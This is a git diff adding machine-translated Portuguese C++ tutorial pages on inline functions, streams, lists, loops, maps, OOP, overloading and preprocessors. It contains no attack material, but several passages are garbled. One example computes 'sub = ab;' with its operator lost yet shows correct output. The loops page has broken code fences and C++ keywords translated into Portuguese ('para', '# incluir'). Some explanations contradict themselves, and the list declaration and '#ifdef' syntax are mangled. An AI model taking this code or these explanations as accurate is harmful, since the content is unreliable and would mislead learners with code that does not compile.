+*   Inline C ++ é resolvido em tempo de compilação. O que significa que se você alterar o código da função inline, você precisaria recompilar todo o código usando-o para ter certeza de que ele será atualizado.
+*   Como mencionado acima, aumenta o tamanho do executável, o que pode causar uma surra na memória. Mais número de falhas de página, reduzindo o desempenho do seu programa.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/inline-functions/index.md b/client/src/guide/portuguese/cplusplus/inline-functions/index.md
new file mode 100644
index 0000000000..b86dc955b1
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/inline-functions/index.md
@@ -0,0 +1,119 @@
+---
+title: Inline Functions in C++
+localeTitle: Funções Inline em C ++
+---
+## Funções Inline em C ++
+
+Quando o programa executa a instrução de chamada de função, a CPU armazena o endereço de memória da instrução após a chamada de função, copia os argumentos da função na pilha e, finalmente, transfere o controle para a função especificada. A CPU então executa o código de função, armazena o valor de retorno da função em um local / registro de memória predefinido e retorna o controle para a função de chamada. Isso pode se tornar uma sobrecarga se o tempo de execução da função for menor que o tempo de chaveamento da função chamador para a função chamada (chamada). Para funções que são grandes e / ou executam tarefas complexas, a sobrecarga da chamada de função é geralmente insignificante comparada à quantidade de tempo que a função leva para ser executada. No entanto, para funções pequenas e comumente usadas, o tempo necessário para fazer a chamada de função é geralmente muito maior do que o tempo necessário para realmente executar o código da função. Essa sobrecarga ocorre para pequenas funções porque o tempo de execução da função pequena é menor que o tempo de comutação.
+
+C ++ fornece funções embutidas para reduzir a sobrecarga da chamada de função. A função inline é uma função que é expandida em linha quando é chamada. Quando a função inline é chamada código inteiro, a função inline é inserida ou substituída no ponto da chamada de função inline. Essa substituição é executada pelo compilador C ++ no tempo de compilação. A função inline pode aumentar a eficiência se for pequena. A sintaxe para definir a função inline é:
+
+```cpp
+inline return-type function-name(parameters) 
+ { 
+    // function code 
+ } 
+```
+
+Lembre-se, inlining é apenas um pedido para o compilador, não um comando. O compilador pode ignorar a solicitação de inlining. O compilador não pode executar inlining em tais circunstâncias como:
+
+*   Se uma função contiver um loop. (por enquanto, do-while)
+*   Se uma função contiver variáveis ​​estáticas.
+*   Se uma função é recursiva.
+*   Se um tipo de retorno de função é diferente de void, e a declaração de retorno não existe no corpo da função.
+*   Se uma função contiver uma instrução switch ou goto.
+
+### Funções inline fornecem as seguintes vantagens:
+
+*   A sobrecarga da chamada de função não ocorre.
+*   Ele também salva a sobrecarga de variáveis ​​push / pop na pilha quando a função é chamada.
+*   Também economiza a sobrecarga de uma chamada de retorno de uma função.
+*   Quando você inline uma função, você pode habilitar o compilador para executar otimização específica do contexto no corpo da função. Essas otimizações não são possíveis para chamadas de função normais. Outras otimizações podem ser obtidas considerando os fluxos de contexto de chamada e o contexto chamado.
+*   A função inline pode ser útil (se for pequena) para sistemas embarcados, pois inline pode render menos código do que o preâmbulo e retorno da chamada de função.
+
+### Desvantagens da função inline:
+
+*   As variáveis ​​adicionadas da função inline consomem registradores adicionais, After in-line function se o número de variáveis ​​que usarão registradores aumenta do que eles podem criar sobrecarga na utilização de recursos de variáveis ​​de registro. Isso significa que quando o corpo da função inline é substituído no ponto da chamada de função, o número total de variáveis ​​usadas pela função também é inserido. Assim, o número de registros a ser usado para as variáveis ​​também será aumentado. Então, se após a função inline os números das variáveis ​​aumentarem drasticamente, isso certamente causaria uma sobrecarga na utilização do registro.
+    
+*   Se você usar muitas funções embutidas, o tamanho do arquivo executável binário será grande, devido à duplicação do mesmo código.
+    
+*   O inlining em excesso também pode reduzir a taxa de acertos do cache de instruções, reduzindo, assim, a velocidade de busca da instrução, desde a memória cache até a memória principal.
+    
+*   A função inline pode aumentar a sobrecarga de tempo de compilação se alguém alterar o código dentro da função inline e todo o local de chamada tiver que ser recompilado, pois o compilador precisaria substituir todo o código novamente para refletir as alterações, caso contrário, ele continuará com a funcionalidade antiga.
+    
+*   Funções embutidas podem não ser úteis para muitos sistemas embarcados. Porque em sistemas embarcados o tamanho do código é mais importante que a velocidade.
+    
+*   Funções inline podem causar thrashing porque inlining pode aumentar o tamanho do arquivo executável binário. Bater na memória faz com que o desempenho do computador seja degradado.
+    
+
+O programa a seguir demonstra esse conceito:
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ class operation 
+ { 
+    int a,b,add,sub,mul; 
+    float div; 
+ public: 
+    void get(); 
+    void sum(); 
+    void difference(); 
+    void product(); 
+    void division(); 
+ }; 
+ inline void operation :: get() 
+ { 
+    cout << "Enter first value:"; 
+    cin >> a; 
+    cout << "Enter second value:"; 
+    cin >> b; 
+ } 
+ 
+ inline void operation :: sum() 
+ { 
+    add = a+b; 
+    cout << "Addition of two numbers: " << a+b << "\n"; 
+ } 
+ 
+ inline void operation :: difference() 
+ { 
+    sub = ab; 
+    cout << "Difference of two numbers: " << ab << "\n"; 
+ } 
+ 
+ inline void operation :: product() 
+ { 
+    mul = a*b; 
+    cout << "Product of two numbers: " << a*b << "\n"; 
+ } 
+ 
+ inline void operation ::division() 
+ { 
+    div=a/b; 
+    cout<<"Division of two numbers: "<<a/b<<"\n" ; 
+ } 
+ 
+ int main() 
+ { 
+    cout << "Program using inline function\n"; 
+    operation s; 
+    s.get(); 
+    s.sum(); 
+    s.difference(); 
+    s.product(); 
+    s.division(); 
+    return 0; 
+ } 
+```
+
+Saída:
+```
+Enter first value: 45 
+ Enter second value: 15 
+ Addition of two numbers: 60 
+ Difference of two numbers: 30 
+ Product of two numbers: 675 
+ Division of two numbers: 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/input-and-output/index.md b/client/src/guide/portuguese/cplusplus/input-and-output/index.md
new file mode 100644
index 0000000000..b2a4376f14
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/input-and-output/index.md
@@ -0,0 +1,136 @@
+---
+title: Input and Output
+localeTitle: Entrada e saída
+---
+## Entrada e Saída com Fluxos
+
+Para imprimir coisas no console, ou ler a partir dele, use `cout` e `cin` , que são os chamados `streams` . Essa metáfora é usada porque você usa fluxos como o que você usaria uma pia ou um toque: ou você descarrega dados em uma pia ( `cout` ) ou obtém dados de um toque ( `cin` ).
+
+### Saída com cout
+
+O programa "Hello World" usa `cout` para imprimir "Hello World!" para o console:
+
+```C++
+#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  cout << "Hello world!" << endl; 
+ } 
+```
+
+As duas primeiras linhas no topo são necessárias para você usar `cout` e outros fluxos. `#include<iostream>` faz com que os objetos de fluxo estejam disponíveis e `using namespace std;` permite que você digite `cout` diretamente ao invés de ter que digitar `std::cout` , isto é, ter que especificar que queremos usar `cout` do namespace `std` .
+
+`cout` significa "Console Output" e é um chamado _fluxo de saída_ que representa o console. Quando você quiser imprimir algo no console, você pode colocá-lo em `cout` ; imagine-o como um buraco que leva ao terminal. Para colocar coisas neste buraco, uma de cada vez, você usa o operador `<<` , também conhecido como o _operador de inserção_ 1 . O operador pode ser acorrentado, ou seja, você pode colocar várias coisas em uma após a outra. O seguinte irá imprimir "O bolo é uma mentira":
+
+`cout << "The cake " << "is " << "a " << "lie." << endl;`
+
+`endl` significa "End Line" e é outro item que vem de `<iostream>` . Quando você coloca `endl` em `cout` , ele irá imprimir um caractere de nova linha ( "\\ n") para o console, e também _alinhada_ `cout` , o que significa que ele irá forçar `cout` para imprimir tudo o que você colocar nele _agora._ Se você não colocar `endl` em `cout` , `cout` pode manter os dados que você colocou nele, mas esperar por mais dados antes de realmente imprimir tudo. Isto é chamado de _buffer_ e é muito bom para o desempenho, mas se você já tiver dado tudo o que é suposto para imprimir, você quer `cout` imprimi-lo immediatelly. Portanto, é uma boa prática terminar com `endl` em lugares onde faz sentido.
+
+Quase tudo pode ser colocado em um fluxo: strings, números, variáveis, expressões, etc. Aqui estão alguns exemplos de inserções de fluxo válidas:
+
+```C++
+// Notice we can use the number 42 and not the string "42". 
+ cout << "The meaning of life is " << 42 << endl;` // Output: The meaning of life is 42 
+```
+
+```C++
+string name = "Tim"; 
+ cout << "Except for you, " << name << endl;`// Output: Except for you, Tim 
+```
+
+```C++
+string name = "Tim"; 
+ cout << name; 
+ cout << " is a great guy!" << endl;` 
+ // Output: Tim is a great guy! 
+```
+
+```C++
+int a = 3; 
+ cout << a*2 + 18/a << endl;`// Output: 12 
+```
+
+### Uma nota sobre o espaço em branco
+
+C ++ sempre coloca _você_ no controle e faz exatamente as coisas que você diz para fazer. Isso às vezes pode ser surpreendente, como no exemplo a seguir:
+
+```C++
+string name = "Sarah"; 
+ cout << "Good morning" << name << "how are you today? << endl; 
+```
+
+Você pode esperar que seja impresso "Bom dia Sarah, como você está hoje?", Mas na verdade, a saída seria "Bom dia, Sarah, como você está hoje?". A razão para esse bug é que você não escreveu espaços nas strings ao redor do `name` , e assim, como você não especificou nenhum espaço, o `cout` não imprimiu nenhum. A versão correta seria: `cout << "Good morning " << name << " how are you today? << endl;`
+
+Quebras de linha também não acontecem sozinhas. Você pode pensar que isso imprimiria uma receita em quatro linhas:
+
+```C++
+cout << "To make bread, you need:"; 
+ cout << "* One egg"; 
+ cout << "* One water"; 
+ cout << "* Two wheat"; 
+```
+
+mas a saída é na verdade tudo em uma linha: "Para fazer pão, você precisa: \* Um ovo \* Uma água \* Dois de trigo". Isso ocorre porque não há caracteres de nova linha no final das linhas, portanto, naturalmente, o C ++ assume que não queremos imprimir caracteres de nova linha.
+
+Você poderia consertar isso adicionando `endl` s após cada linha, porque, como discutido anteriormente, o `endl` insere um caractere de nova linha no fluxo de saída. No entanto, isso também força o buffer a ser liberado, o que nos perde um pouco o desempenho, já que poderíamos imprimir todas as linhas de uma só vez. Portanto, o melhor seria adicionar caracteres reais de nova linha no final das linhas e usar somente `endl` no final:
+
+```C++
+cout << "To make bread, you need:\n"; 
+ cout << "* One egg\n"; 
+ cout << "* One water\n"; 
+ cout << "* Two wheat" << endl; 
+```
+
+Se você está apenas imprimindo uma pequena receita, o tempo que você economiza é minúsculo e não vale a pena, mas se você estiver imprimindo milhões de itens, a diferença pode ser muito perceptível.
+
+### Entrada com cin
+
+Para ler a partir do console, você usa o _fluxo de entrada_ `cin` da mesma forma como faria `cout` , mas em vez de colocar as coisas em `cin` , você "tirá-los". O programa a seguir lê dois números do usuário e os adiciona juntos:
+
+```C++
+#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  int a, b; // Variables to hold the two numbers. 
+ 
+  cout << "Please enter the first number:" << endl; 
+  cin >> a; 
+  cout << "Please enter the second number:" << endl; 
+  cin >> b; 
+ 
+  cout << "The sum of your numbers is: " << a + b << endl; 
+ } 
+```
+
+`cin` significa "Console Input" e é um _fluxo de entrada_ que representa a entrada do console. Na expressão `cin >> a;` , os dados são lidos de `cin` e salvos na variável `a` , usando o operador `>>` , o _operador de extração_ 2 . O operador de extração lê exatamente a quantidade de dados necessária para gravar na variável que especificamos e pula qualquer espaço em branco, portanto, se o usuário digitar "6", isso será lido apenas como o valor `6` .
+
+Vale a pena notar que o `cin` irá parar todo o programa para esperar que o usuário digite seu valor. O programa não continuará até que o usuário tenha pressionado enter e alguns dados serão gravados na variável. Se o usuário apenas pressionar enter sem digitar nada, o `cin` continuará esperando por um valor.
+
+O operador de extração `<<` pode ser encadeado também. Aqui está o mesmo programa da última vez, mas escrito de uma maneira mais concisa:
+
+```C++
+#include<iostream> 
+ using namespace std; 
+ 
+ int main() 
+ { 
+  int a, b; // Variables to hold the two numbers. 
+ 
+  cout << "Please enter two numbers:" << endl; 
+  cin >> a >> b; 
+  cout << "The sum of your numbers is: " << a + b << endl; 
+ } 
+```
+
+Quando encadeado, o operador de extração primeiro lerá os dados de `cin` para preencher `a` e, em seguida, lerá os dados para preencher `b` .
+
+As instruções printf e scanf padrão de C também podem ser usadas com o c ++ importando ' ' arquivo de cabeçalho.
+
+## Fontes
+
+1.  http://www.cplusplus.com/reference/ostream/ostream/operator%3C%3C/
+2.  http://www.cplusplus.com/reference/istream/istream/operator%3E%3E/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/lists/index.md b/client/src/guide/portuguese/cplusplus/lists/index.md
new file mode 100644
index 0000000000..1cbde6a60c
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/lists/index.md
@@ -0,0 +1,13 @@
+---
+title: C++ Lists
+localeTitle: Listas de C ++
+---
+# O que é uma lista STL?
+
+Listas em C ++ são uma ferramenta poderosa semelhante ao seu primo mais conhecido, o C ++ Vectors. Enquanto os vetores são um contêiner seqüencial Onde os elementos são indexados em uma cadeia contínua, as listas também são um contêiner seqüencial, mas são organizadas de maneira diferente. Elementos de lista apontam para o próximo elemento, então todos os elementos são ordenados em seqüência, mas não usam indexação. Como? Você pode perguntar. Eles fazem isso não indexando, mas usando uma ferramenta especial chamada iteradores. Iteradores são como ponteiros especiais cujo trabalho é manter a ordem dos elementos da lista como a ligação entre dois vagões de trem. Aqui está um bom visual de como as listas são organizadas em comparação com vetores e matrizes. ![img](https://imgur.com/SiU8uTe.png)
+
+## Como declarar uma lista
+
+Se você quiser declarar uma lista de números, escreva:
+
+'' 'std :: list Números;'''
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/loops/index.md b/client/src/guide/portuguese/cplusplus/loops/index.md
new file mode 100644
index 0000000000..0380753834
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/loops/index.md
@@ -0,0 +1,84 @@
+---
+title: Loops
+localeTitle: rotações
+---
+# rotações
+
+## Introdução
+
+Agora vamos discutir algo conhecido como loop. Suponha que você queira imprimir os números pares de 1 a 1000 na tela. Mão única fazer isso é escrever as seguintes linhas
+
+\`\` \`c ++ cout << 0 << endl; cout << 2 << endl; cout << 4 << endl; … … … cout << 1000 << endl;
+```
+But the problem with this approach is that you have to write the same line again and again. And if suppose you have to print 
+ prime numbers from 1 to 1000 then this will be more hectic. 
+ Therefore, in order to solve such problems loops are introduced. 
+ 
+ There are different types of loop functions: 
+ ### While and do while loops 
+ 
+ While and do while loops allow you to make the loop until a condition finishes. 
+ The difference between While and Do while is that Do while always executes once. 
+ Here you can see an example: 
+```
+
+c ++ while (condição) { // Código que será executado enquanto a condição for verdadeira } Faz { // Será executado uma vez e até que a condição seja falsa } while (condição);
+```
+### For loops 
+ 
+ For loops are usually used when you know how many times the code will execute. 
+ The flow can be seen in this [graph](https://www.tutorialspoint.com/cplusplus/images/cpp_for_loop.jpg). 
+ 
+ They are declared this way: 
+```
+
+c ++ para (inicializar uma variável; verificar uma condição; incrementar a variável inicializada) { // Código para executar }
+```
+Lets write a program which will print numbers from 0 to 1000 including 1000 on the screen using a for loop. 
+```
+
+c ++ para (int i = 0; i <= 1000; i ++) { cout << i << endl; }
+```
+When you execute this code in a c++ program numbers from 1 to 1000 will be printed. 
+ Now lets discuss how the for loop works. 
+ 
+ * You start a for loop by typing the keyword 'for'. It means you are starting a for loop 
+ ` for ` 
+ * Next you open and close a round bracket. In this brackets you write some conditions which will be discussed later 
+ ` for()` 
+ * Inside the brackets first you write the initial condition ie the value from where the loop will start. Like in the 
+  above program we write int i = 0 
+ ` for(int i = 0)` 
+ * Then you write the semicolon and then condition until when the loop will be executed. In the above code you define 
+   i < 1000. It means until value of i is less then 1000 execuete the loop. 
+   ` for(int i=0;i<=1000) ` 
+ * Then you define the incremented value that is how much i has to be incremented in each iteration. In the above code 
+   we write i++. It means value of i will be incremented by 1 every time. 
+    ` for(int i=0;i<=1000;i++) ` 
+ * If there is only one statement inside the loop then the curly bracket is optional but its better to write loop code 
+   within brackets so that you don't get confused. 
+    ``` c++ 
+    for(int i=0;i<=1000;i++) 
+        { 
+        } 
+     ``` 
+ * Then inside the loop you write what do you want to do. In the above program we output the value of i. 
+ 
+ So, in this way the for loop works 
+ 
+ If you want to print even numbers from 1 to 1000 then your program will look like this 
+```
+
+c ++ para (int i = 0; i <= 1000; i = i + 2) { cout << i << endl; }
+
+\`\` \`
+
+*   A diferença no primeiro programa e no segundo é a parte de incremento. O resto do código é o mesmo. Este programa imprimirá 0 e em seguida, adicione 2 a ele e imprima 2 no console e assim por diante até o valor de i se torna igual a 1000.
+    
+    Nosso programa final para imprimir números pares de 0 a 1000 será assim.
+    
+    \`\` \`c ++
+    
+    # incluir
+    
+    usando namespace std; int main () { para (int i = 0; i <= 1000; i = i + 2) { cout << i << endl; } return 0; } \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/map/index.md b/client/src/guide/portuguese/cplusplus/map/index.md
new file mode 100644
index 0000000000..78897d74ad
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/map/index.md
@@ -0,0 +1,81 @@
+---
+title: Map
+localeTitle: Mapa
+---
+## Introdução do mapa
+
+`map` é um contêiner associativo que armazena elementos no par de valores-chave. Assim como em `Java` tem coleção, array associativo em PHP e assim por diante.
+
+## Benefícios do uso do mapa
+
+*   Ele armazena apenas chaves exclusivas e isso também na ordem classificada com base em seus critérios de classificação atribuídos.
+*   Como as chaves estão na ordem de classificação, portanto, pesquisar elemento no mapa através da tecla é muito rápido, ou seja, leva tempo logarítmico.
+*   No `map` , haverá apenas um valor associado à chave every.
+*   `map` pode ser usado como matrizes associativas.
+*   Pode ser implementado usando árvores binárias balanceadas.
+
+Aqui está um exemplo:
+
+```c++
+#include <iostream> 
+ #include <map> 
+ 
+ using namespace std; 
+ 
+ int main (){ 
+  map<char,int> first; 
+ 
+  //initializing 
+  first['a']=10; 
+  first['b']=20; 
+  first['c']=30; 
+  first['d']=40; 
+ 
+   map<char, int>::iterator it; 
+   for(it=first.begin(); it!=first.end(); ++it){ 
+      cout << it->first << " => " << it->second << '\n'; 
+   } 
+ 
+  return 0; 
+ } 
+```
+
+Saída:
+```
+a => 10 
+ b => 20 
+ c => 30 
+ d => 40 
+```
+
+## Criando objeto de mapa
+
+`map<string, int> myMap;`
+
+## Inserção
+
+Inserindo dados com a função de membro de inserção.
+
+```c++
+myMap.insert(make_pair("earth", 1)); 
+ myMap.insert(make_pair("moon", 2)); 
+```
+
+Nós também podemos inserir dados em std :: map usando operator \[\] ie
+
+`myMap["sun"] = 3;`
+
+## Acessando elementos do mapa
+
+Para acessar os elementos do mapa, você precisa criar um iterador para ele. Aqui está um exemplo como dito antes.
+
+```c++
+map<char, int>::iterator it; 
+ for(it=first.begin(); it!=first.end(); ++it){ 
+  cout << it->first << " => " << it->second << '\n'; 
+ } 
+```
+
+Aqui você pode aprender mais sobre o mapa: [cpluspluc\_map](http://www.cplusplus.com/reference/map/map/map/)
+
+NB: Todos os códigos no exemplo estão na versão C ++ 11. Você pode aprender mais sobre a versão C ++ [aqui](http://en.cppreference.com/w/cpp/compiler_support)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/object-oriented-programming/index.md b/client/src/guide/portuguese/cplusplus/object-oriented-programming/index.md
new file mode 100644
index 0000000000..af06c24e2e
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/object-oriented-programming/index.md
@@ -0,0 +1,78 @@
+---
+title: Object Oriented Programming using C++
+localeTitle: Programação Orientada a Objetos usando C ++
+---
+## Programação Orientada a Objetos usando C ++
+
+A programação orientada a objetos, abreviada para OOP, visa implementar entidades do mundo real como herança, ocultação e polimorfismo na programação. O principal objetivo da OOP é vincular os dados e as funções que operam neles, de modo que nenhuma outra parte do código possa acessar esses dados, exceto essa função.
+
+Vamos aprender sobre diferentes características de uma linguagem de programação orientada a objetos:
+
+### Objeto:
+
+Objetos são entidades básicas de tempo de execução em um sistema orientado a objetos, objetos são instâncias de uma classe, são definidos como tipos de dados definidos pelo usuário.
+
+```cpp
+class person 
+ { 
+    char name[20]; 
+    int id; 
+ public: 
+    void getdetails(){} 
+ }; 
+ 
+ int main() 
+ { 
+   person p1; //p1 is an object 
+ } 
+```
+
+Objetos ocupam espaço na memória e possuem um endereço associado como um registro em pascal ou estrutura ou união em C.
+
+Quando um programa é executado, os objetos interagem enviando mensagens entre si.
+
+Cada objeto contém dados e código para manipular os dados. Os objetos podem interagir sem precisar conhecer detalhes dos dados ou códigos dos outros. É suficiente saber o tipo de mensagem aceita e o tipo de resposta retornada pelos objetos.
+
+### Classe:
+
+Class é um modelo de dados e funções ou métodos. Classe não ocupa espaço.
+
+```cpp
+class class_name 
+ { 
+  private: 
+     //data members and member functions declarations 
+  public: 
+     //data members and member functions declarations 
+  protected: 
+     //data members and member functions declarations 
+ }; 
+```
+
+Classe é um tipo de dados definido pelo usuário, como estruturas e uniões em C.
+
+Por padrão, as variáveis ​​de classe são privadas, mas no caso de estrutura, são públicas. no exemplo acima, a pessoa é uma classe.
+
+### Encapsulamento e abstração de dados:
+
+Agrupar (combinar) dados e funções em uma única unidade é conhecido como encapsulamento. Os dados não são acessíveis ao mundo externo e apenas as funções que estão agrupadas na classe podem acessá-lo. Esse isolamento dos dados do acesso direto pelo programa é chamado de ocultação de dados ou ocultação de informações.
+
+A abstração de dados se refere a fornecer apenas informações necessárias para o mundo externo e a ocultar detalhes da implementação. Por exemplo, considere uma classe Complex com funções públicas como getReal () e getImag (). Podemos implementar a classe como uma matriz de tamanho 2 ou como duas variáveis. A vantagem das abstrações é que podemos alterar a implementação a qualquer momento, os usuários da classe Complex não serão afetados, pois a interface do nosso método permanece a mesma. Se a nossa implementação fosse pública, não teríamos conseguido alterá-la.
+
+### Herança:
+
+Herança é o processo pelo qual objetos de uma classe adquirem as propriedades de objetos de outra classe. Suporta o conceito de classificação hierárquica. A herança fornece reutilização. Isso significa que podemos adicionar recursos adicionais a uma classe existente sem modificá-la.
+
+### Polimorfismo:
+
+Polimorfismo significa capacidade de tomar mais de um formulário. Uma operação pode exibir diferentes comportamentos em diferentes instâncias. O comportamento depende dos tipos de dados usados ​​na operação.
+
+C ++ suporta sobrecarga do operador e sobrecarga de funções. A sobrecarga do operador é o processo de fazer com que um operador exiba comportamentos diferentes em instâncias diferentes. A sobrecarga de funções está usando um único nome de função para executar diferentes tipos de tarefas. O polimorfismo é amplamente utilizado na implementação de herança.
+
+### Ligação Dinâmica:
+
+Na ligação dinâmica, o código a ser executado em resposta à chamada de função é decidido no tempo de execução. C ++ tem funções virtuais para suportar isso.
+
+### Passagem de mensagens:
+
+Os objetos se comunicam entre si enviando e recebendo informações uns aos outros. Uma mensagem para um objeto é uma solicitação para execução de um procedimento e, portanto, invocará uma função no objeto de recebimento que gera os resultados desejados. A passagem de mensagens envolve a especificação do nome do objeto, o nome da função e as informações a serem enviadas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/overloading/index.md b/client/src/guide/portuguese/cplusplus/overloading/index.md
new file mode 100644
index 0000000000..c74d44cc98
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/overloading/index.md
@@ -0,0 +1,102 @@
+---
+title: C++ Overloading
+localeTitle: Sobrecarga C ++
+---
+C ++ permite que você especifique mais de uma definição para um nome de função ou um operador no mesmo escopo, o que é chamado de sobrecarga de função e sobrecarga de operador, respectivamente.
+
+Uma declaração sobrecarregada é uma declaração que é declarada com o mesmo nome que uma declaração declarada anteriormente no mesmo escopo, exceto que ambas as declarações possuem argumentos diferentes e obviamente uma definição diferente (implementação).
+
+Quando você chama uma função ou operador sobrecarregado, o compilador determina a definição mais apropriada a ser usada, comparando os tipos de argumento que você usou para chamar a função ou operador com os tipos de parâmetro especificados nas definições. O processo de seleção da função ou operador sobrecarregado mais apropriado é chamado de resolução de sobrecarga.
+
+### Sobrecarga de função em C ++
+
+Você pode ter várias definições para o mesmo nome de função no mesmo escopo. A definição da função deve diferir uma da outra pelos tipos e / ou pelo número de argumentos na lista de argumentos. Você não pode sobrecarregar as declarações de função que diferem apenas pelo tipo de retorno.
+
+A seguir, o exemplo em que a mesma função print () está sendo usada para imprimir diferentes tipos de dados -
+
+```cpp
+#include <iostream> 
+ #include <string> 
+ using namespace std; 
+ 
+ class printData { 
+   public: 
+      void print(int i) { 
+        cout << "Printing int: " << i << endl; 
+      } 
+      void print(double  f) { 
+        cout << "Printing float: " << f << endl; 
+      } 
+      void print(const string& s) { 
+        cout << "Printing string: " << s << endl; 
+      } 
+ }; 
+ 
+ int main() { 
+   printData pd; 
+ 
+   // Call print to print integer 
+   pd.print(5); 
+ 
+   // Call print to print float 
+   pd.print(500.263); 
+ 
+   // Call print to print string 
+   pd.print("Hello C++"); 
+ 
+   return 0; 
+ } 
+```
+
+Quando o código acima é compilado e executado, ele produz o seguinte resultado -
+```
+Printing int: 5 
+ Printing float: 500.263 
+ Printing string: Hello C++ 
+```
+
+### Sobrecarga de Operador em C ++
+
+A maioria dos operadores internos também pode ser sobrecarregada em C ++. Isso permite que os programadores atribuam implementações diferentes aos operadores, dependendo dos argumentos. Esses operadores sobrecarregados podem trabalhar para classes definidas pelo usuário.
+```
+#include<iostream> 
+ using namespace std; 
+ 
+ class Complex_Number{ 
+ private: 
+    int real; 
+    int imag; 
+ public: 
+    Complex_Number(int i = 0, int j =0) 
+    { 
+        real = i; 
+        imag = j; 
+    } 
+    //Here the operator '+' is being overloaded 
+    Complex_Number operator + (Complex_Number const &a) 
+    { 
+         Complex_Number x; 
+         x.real = real + a.real; 
+         x.imag = imag + a.imag; 
+         return x; 
+    } 
+    void print() 
+    { 
+         cout<<real<<" + i"<<imag<<endl; 
+    } 
+ }; 
+ 
+ int main() 
+ { 
+    Complex_Number c1(3, 2), c2(1, 1); 
+    //Here, the overloaded operator is called. The numbers get added according to the function defined 
+    Complex_Number c3 = c1 + c2; 
+    c3.print(); 
+ } 
+```
+
+Saída para o programa acima
+```
+4 + i3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/preprocessors/index.md b/client/src/guide/portuguese/cplusplus/preprocessors/index.md
new file mode 100644
index 0000000000..d7f76d6804
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/preprocessors/index.md
@@ -0,0 +1,160 @@
+---
+title: Preprocessors
+localeTitle: Pré-processadores
+---
+## Pré-processadores em C / CPP
+
+Como o nome sugere, os pré-processadores são programas que processam nosso código-fonte antes da compilação. Há vários passos envolvidos entre escrever um programa e executar um programa em C / C ++. Vamos dar uma olhada nestes passos antes de começarmos a aprender sobre os pré-processadores.
+
+![Img](https://i.imgur.com/Pb0aTkV.png)
+
+Você pode ver as etapas intermediárias no diagrama acima. O código fonte escrito pelos programadores é armazenado no arquivo program.c. Este arquivo é então processado por pré-processadores e um arquivo de código-fonte expandido é gerado programa nomeado. Este arquivo expandido é compilado pelo compilador e um arquivo de código de objeto é gerado chamado program.obj. Finalmente, o vinculador vincula esse arquivo de código de objeto ao código de objeto das funções de biblioteca para gerar o arquivo executável program.exe.
+
+Os programas de pré-processador fornecem diretivas de pré-processadores que informam ao compilador para pré-processar o código-fonte antes de compilá-lo. Todas essas diretivas de pré-processador começam com um símbolo `#` (hash). Esse símbolo ('#') no início de uma instrução em um programa C / C ++ indica que é uma diretiva de pré-processador. Podemos colocar essas diretivas pré-processador em qualquer parte do nosso programa. Exemplos de algumas diretivas de pré-processador são: `#include` , `#define` , `#ifndef` etc.
+
+### Tipos de diretivas de pré-processador:
+
+1.  Macros
+2.  Inclusão de arquivos
+3.  Compilação Condicional
+4.  Outras diretivas
+
+### Macros:
+
+As macros são uma parte do código em um programa que recebe algum nome. Sempre que esse nome é encontrado pelo compilador, o compilador substitui o nome pela parte real do código. A diretiva `#define` é usada para definir uma macro.
+
+```cpp
+  #include<iostream> 
+  #define LIMIT 3 
+  int main() 
+  { 
+    for(int i=0; i < LIMIT; i++) 
+    { 
+      std::cout<<i<<" " ; 
+    } 
+      return 0; 
+  } 
+```
+
+Saída:
+
+`0 1 2`
+
+No programa acima, quando o compilador executa a palavra `LIMIT` ele o substitui por 3. A palavra `LIMIT` na definição de macro é chamada de modelo de macro e '3' é a expansão de macro.
+
+Não deve haver ponto e vírgula (';') no final da definição macro. As definições de macro não precisam de ponto e vírgula para terminar.
+
+### Inclusão de arquivos:
+
+Esse tipo de diretiva de pré-processador informa ao compilador para incluir um arquivo no programa de código-fonte. Existem dois tipos de arquivos que podem ser incluídos pelo usuário no programa:
+
+*   \#### Arquivos de cabeçalho ou arquivos padrão: Esses arquivos contêm a definição de funções predefinidas como printf (),… scanf () etc. Esses arquivos devem ser incluídos para trabalhar com essas funções. … Funções diferentes são declaradas em diferentes arquivos de cabeçalho. Por exemplo… as funções de E / S padrão estão no arquivo 'iostream', enquanto as funções que… executam operações de string estão no arquivo 'string'.
+
+#### Sintaxe:
+
+`#include< file_name >` onde file\_name é o nome do arquivo a ser incluído. Os colchetes `<` e `>` dizem ao compilador para procurar o arquivo no diretório padrão.
+
+*   \#### Arquivos definidos pelo usuário: Quando um programa se torna muito grande, é recomendável dividi-lo em arquivos menores e incluir sempre que necessário. Esses tipos de arquivos são arquivos definidos pelo usuário. Esses arquivos podem ser incluídos como: … `#include"filename"`
+
+### Compilação Condicional:
+
+As diretivas de compilação condicional são tipos de diretivas que ajudam a compilar uma parte específica do programa ou a pular a compilação de alguma parte específica do programa com base em algumas condições. Isso pode ser feito com a ajuda de dois comandos de pré-processamento `ifdef` e `endif` .
+
+#### Sintaxe:
+
+```cpp
+  ifdef macro_name 
+    statement1; 
+    statement2; 
+    statement3; 
+    . 
+    . 
+    . 
+    statementN; 
+  endif 
+```
+
+Se a macro com nome como 'macroname' for definida, o bloco de instruções será executado normalmente, mas se não for definido, o compilador simplesmente ignorará este bloco de instruções.
+
+### Outras diretivas:
+
+Para além das directivas acima, existem mais duas directivas que não são normalmente utilizadas. Esses são:
+
+1.  \##### `#undef` Directiva: A diretiva `#undef` é usada para indefinir uma macro existente. Esta diretiva funciona como:
+
+##### Sintaxe:
+
+`#undef LIMIT` Usando esta declaração irá indefinir a macro LIMIT existente. Após esta declaração, cada declaração `#ifdef LIMIT` será avaliada como falsa.
+
